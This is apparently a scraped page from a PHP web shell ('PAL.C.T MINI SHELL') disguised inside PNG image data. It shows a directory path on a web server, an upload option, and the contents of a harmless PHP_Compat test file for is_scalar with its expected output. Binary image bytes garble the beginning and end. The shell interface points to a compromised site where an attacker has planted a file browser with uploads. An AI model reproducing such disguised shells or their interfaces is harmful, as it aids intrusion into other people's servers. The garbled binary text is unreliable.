php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/outlet/pusat/php1/tests/function/
upload
files >> /var/www/html/outlet/pusat/php1/tests/function/is_scalar.phpt

--TEST--
Function -- is_scalar
--FILE--
<?php
require_once 'PHP/Compat/Function/is_scalar.php';

$tests = array(
    13,
    13.37,
    'foo',
    '13',
    '',
    null,
    true,
    array(),
    new stdClass
);

for ($i = 0, $testc = count($tests); $i < $testc; $i++) {
    echo "Testing: ($i) ", print_r($tests[$i], 1), "\n";
    var_dump(is_scalar($tests[$i]));
    echo "\n";
}

?>
--EXPECT--
Testing: (0) 13
bool(true)

Testing: (1) 13.37
bool(true)

Testing: (2) foo
bool(true)

Testing: (3) 13
bool(true)

Testing: (4) 
bool(true)

Testing: (5) 
bool(false)

Testing: (6) 1
bool(true)

Testing: (7) Array
(
)

bool(false)

Testing: (8) stdClass Object
(
)

bool(false)

y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`